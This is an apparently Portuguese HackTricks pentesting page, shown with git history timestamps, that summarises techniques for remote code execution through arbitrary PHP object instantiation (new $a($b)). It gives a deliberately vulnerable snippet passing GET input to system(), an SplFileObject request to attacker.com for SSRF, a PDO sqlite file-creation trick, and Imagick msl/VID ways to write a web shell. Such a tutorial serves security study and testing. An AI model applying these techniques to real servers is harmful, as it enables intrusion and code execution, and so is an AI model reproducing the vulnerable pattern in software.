hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md

123 lines
6.8 KiB
Markdown
Raw Normal View History

# PHP - RCE abusando da criação de objetos: new $\_GET\["a"]\($\_GET\["b"])
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>Support HackTricks</summary>
2022-08-04 10:07:55 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}
2022-08-04 10:07:55 +00:00
Este é basicamente um resumo de [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
## Introdução
2022-08-04 10:07:55 +00:00
A criação de novos objetos arbitrários, como `new $_GET["a"]($_GET["a"])`, pode levar à Execução Remota de Código (RCE), conforme detalhado em um [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Este documento destaca várias estratégias para alcançar RCE.
2022-08-04 10:07:55 +00:00
## RCE via Classes Personalizadas ou Autoloading
2022-08-04 10:07:55 +00:00
A sintaxe `new $a($b)` é usada para instanciar um objeto onde **`$a`** representa o nome da classe e **`$b`** é o primeiro argumento passado para o construtor. Essas variáveis podem ser obtidas de entradas do usuário, como GET/POST, onde podem ser strings ou arrays, ou de JSON, onde podem se apresentar como outros tipos.
2022-08-04 10:07:55 +00:00
Considere o trecho de código abaixo:
2022-08-04 10:07:55 +00:00
```php
class App {
function __construct ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
2022-08-04 10:07:55 +00:00
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
```
Neste caso, definir `$a` como `App` ou `App2` e `$b` como um comando do sistema (por exemplo, `uname -a`) resulta na execução desse comando.
2022-08-04 10:07:55 +00:00
**Funções de Autoloading** podem ser exploradas se tais classes não estiverem diretamente acessíveis. Essas funções carregam automaticamente classes de arquivos quando necessário e são definidas usando `spl_autoload_register` ou `__autoload`:
2022-08-04 10:07:55 +00:00
```php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
2022-08-04 10:07:55 +00:00
});
function __autoload($class_name) {
include $class_name . '.php';
2022-08-04 10:07:55 +00:00
};
spl_autoload_register();
```
O comportamento do autoloading varia com as versões do PHP, oferecendo diferentes possibilidades de RCE.
2022-08-04 10:07:55 +00:00
## RCE via Classes Integradas
2022-08-04 10:07:55 +00:00
Na falta de classes personalizadas ou autoloaders, **classes integradas do PHP** podem ser suficientes para RCE. O número dessas classes varia entre 100 a 200, com base na versão do PHP e nas extensões. Elas podem ser listadas usando `get_declared_classes()`.
2022-08-04 10:07:55 +00:00
Construtores de interesse podem ser identificados através da API de reflexão, como mostrado no seguinte exemplo e no link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
2022-08-04 10:07:55 +00:00
**RCE via métodos específicos inclui:**
2022-08-04 10:07:55 +00:00
### **SSRF + Deserialização Phar**
2022-08-04 10:07:55 +00:00
A classe `SplFileObject` permite SSRF através de seu construtor, permitindo conexões a qualquer URL:
```php
2022-08-04 10:07:55 +00:00
new SplFileObject('http://attacker.com/');
```
SSRF pode levar a ataques de desserialização em versões do PHP anteriores a 8.0 usando o protocolo Phar.
2022-08-04 10:07:55 +00:00
2023-06-06 18:56:34 +00:00
### **Explorando PDOs**
2022-08-04 10:07:55 +00:00
O construtor da classe PDO permite conexões a bancos de dados via strings DSN, potencialmente permitindo a criação de arquivos ou outras interações:
2022-08-04 10:07:55 +00:00
```php
new PDO("sqlite:/tmp/test.txt")
```
### **SoapClient/SimpleXMLElement XXE**
Versões do PHP até 5.3.22 e 5.4.12 eram suscetíveis a ataques XXE através dos construtores `SoapClient` e `SimpleXMLElement`, dependendo da versão do libxml2.
2022-08-04 10:07:55 +00:00
2023-06-06 18:56:34 +00:00
## RCE via Extensão Imagick
2022-08-04 10:07:55 +00:00
Na análise das **dependências de um projeto**, foi descoberto que **Imagick** poderia ser aproveitado para **execução de comandos** ao instanciar novos objetos. Isso apresenta uma oportunidade para explorar vulnerabilidades.
2022-08-04 10:07:55 +00:00
### Parser VID
2022-08-04 10:07:55 +00:00
A capacidade do parser VID de escrever conteúdo em qualquer caminho especificado no sistema de arquivos foi identificada. Isso poderia levar à colocação de um shell PHP em um diretório acessível pela web, alcançando Execução Remota de Código (RCE).
2022-08-04 10:55:21 +00:00
#### Parser VID + Upload de Arquivo
2022-08-04 10:55:21 +00:00
Observa-se que o PHP armazena temporariamente arquivos enviados em `/tmp/phpXXXXXX`. O parser VID no Imagick, utilizando o protocolo **msl**, pode lidar com curingas em caminhos de arquivos, facilitando a transferência do arquivo temporário para um local escolhido. Este método oferece uma abordagem adicional para alcançar a escrita arbitrária de arquivos dentro do sistema de arquivos.
2022-08-04 10:55:21 +00:00
### Crash do PHP + Força Bruta
2022-08-04 10:55:21 +00:00
Um método descrito no [**escrito original**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) envolve o upload de arquivos que provocam uma falha no servidor antes da exclusão. Ao forçar o nome do arquivo temporário, torna-se possível para o Imagick executar código PHP arbitrário. No entanto, essa técnica foi considerada eficaz apenas em uma versão desatualizada do ImageMagick.
2022-08-04 10:55:21 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-08-04 10:55:21 +00:00
* [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
2022-08-04 10:07:55 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-08-04 10:07:55 +00:00
<details>
2022-08-04 10:07:55 +00:00
<summary>Support HackTricks</summary>
2022-08-04 10:07:55 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-08-04 10:07:55 +00:00
</details>
{% endhint %}